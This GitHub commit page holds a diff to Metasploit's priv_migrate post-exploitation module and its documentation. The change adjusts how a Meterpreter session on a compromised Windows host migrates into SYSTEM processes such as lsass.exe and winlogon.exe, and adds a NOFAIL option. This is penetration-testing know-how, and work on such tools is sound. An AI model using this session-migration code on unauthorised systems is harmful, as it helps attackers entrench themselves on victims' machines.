Skip to content

Commit 1180bd6

Browse files
committed
Land rapid7#8037, priv_migrate improvements
2 parents ce0437d + def5088 commit 1180bd6

File tree

2 files changed

+34
-15
lines changed

2 files changed

+34
-15
lines changed

documentation/modules/post/windows/manage/priv_migrate.md

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me
1414
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
1515
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
1616
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
17+
- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE.
1718

1819
## Module Process
1920
Here is the process that the module follows:
@@ -22,11 +23,13 @@ Here is the process that the module follows:
2223
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
2324
- ANAME (Module option, if specified)
2425
- services.exe
25-
- winlogon.exe
2626
- wininit.exe
27+
- svchost.exe
2728
- lsm.exe
2829
- lsass.exe
29-
- If it is unable to migrate to one of these processes, it drops to user level migration.
30+
- winlogon.exe
31+
- The module will not migrate if the session has System rights and is already in one of the above target processes.
32+
- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE.
3033
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
3134
- NAME (Module option, if specified)
3235
- explorer.exe

modules/post/windows/manage/priv_migrate.rb

Lines changed: 29 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
1010

1111
include Msf::Post::Windows::Priv
1212

13-
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ]
13+
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
1414
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
1515

1616
def initialize(info={})
@@ -19,15 +19,15 @@ def initialize(info={})
1919
'Description' => %q{ This module will migrate a Meterpreter session based on session privileges.
2020
It will do everything it can to migrate, including spawing a new User level process.
2121
For sessions with Admin rights: It will try to migrate into a System level process in the following
22-
order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe.
23-
If all these fail, it will fall back to User level migration. For sessions with User level rights:
22+
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
23+
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
2424
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
2525
then migrate to it. It will attempt the User level processes in the following order:
2626
NAME (if specified), explorer.exe, then notepad.exe.},
2727
'License' => MSF_LICENSE,
2828
'Author' =>
2929
[
30-
'Josh Hale <jhale85446[at]gmail.com>',
30+
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
3131
'theLightCosine'
3232
],
3333
'Platform' => ['win' ],
@@ -36,18 +36,23 @@ def initialize(info={})
3636

3737
register_options(
3838
[
39-
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
40-
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
41-
OptBool.new( 'KILL', [false, 'Kill original session process.', false])
39+
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
40+
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
41+
OptBool.new( 'KILL', [true, 'Kill original session process.', false]),
42+
OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
4243
], self.class)
4344
end
4445

4546
def run
4647
# Get current process information
4748
@original_pid = client.sys.process.open.pid
48-
@original_name = client.sys.process.open.name
49+
@original_name = client.sys.process.open.name.downcase
4950
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
5051
unless migrate_admin
52+
if is_admin? && !datastore['NOFAIL']
53+
print_status("NOFAIL set to false, exiting module.")
54+
return
55+
end
5156
migrate_user
5257
end
5358
end
@@ -61,7 +66,7 @@ def run
6166
def get_pid(proc_name)
6267
processes = client.sys.process.get_processes
6368
processes.each do |proc|
64-
if proc['name'] == proc_name && proc['user'] != ""
69+
if proc['name'].downcase == proc_name && proc['user'] != ""
6570
return proc['pid']
6671
end
6772
end
@@ -105,9 +110,13 @@ def migrate(target_pid, proc_name, current_pid)
105110
client.core.migrate(target_pid)
106111
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
107112
return true
108-
rescue ::Rex::Post::Meterpreter::RequestError => error
113+
rescue ::Rex::Post::Meterpreter::RequestError => req_error
109114
print_error("Could not migrate to #{proc_name}.")
110-
print_error(error.to_s)
115+
print_error(req_error.to_s)
116+
return false
117+
rescue ::Rex::RuntimeError => run_error
118+
print_error("Could not migrate to #{proc_name}.")
119+
print_error(run_error.to_s)
111120
return false
112121
end
113122
end
@@ -118,12 +127,17 @@ def migrate(target_pid, proc_name, current_pid)
118127
# @return [FalseClass] if it failed to migrate
119128
def migrate_admin
120129
if is_admin?
121-
# Populate target array
130+
# Populate target array and Downcase all Targets
122131
admin_targets = DEFAULT_ADMIN_TARGETS.dup
123132
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
133+
admin_targets.map!(&:downcase)
124134

125135
if is_system?
126136
print_status("Session is already Admin and System.")
137+
if admin_targets.include? @original_name
138+
print_good("Session is already in target process: #{@original_name}.")
139+
return true
140+
end
127141
else
128142
print_status("Session is Admin but not System.")
129143
end
@@ -148,9 +162,11 @@ def migrate_admin
148162
# @return [TrueClass] if it successfully migrated
149163
# @return [FalseClass] if it failed to migrate
150164
def migrate_user
151-
# Populate Target Array
165+
# Populate Target Array and Downcase all Targets
152166
user_targets = DEFAULT_USER_TARGETS.dup
153167
user_targets.unshift(datastore['NAME']) if datastore['NAME']
168+
user_targets.map!(&:downcase)
169+
154170
print_status("Will attempt to migrate to a User level process.")
155171

156172
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.

0 commit comments

Comments
 (0)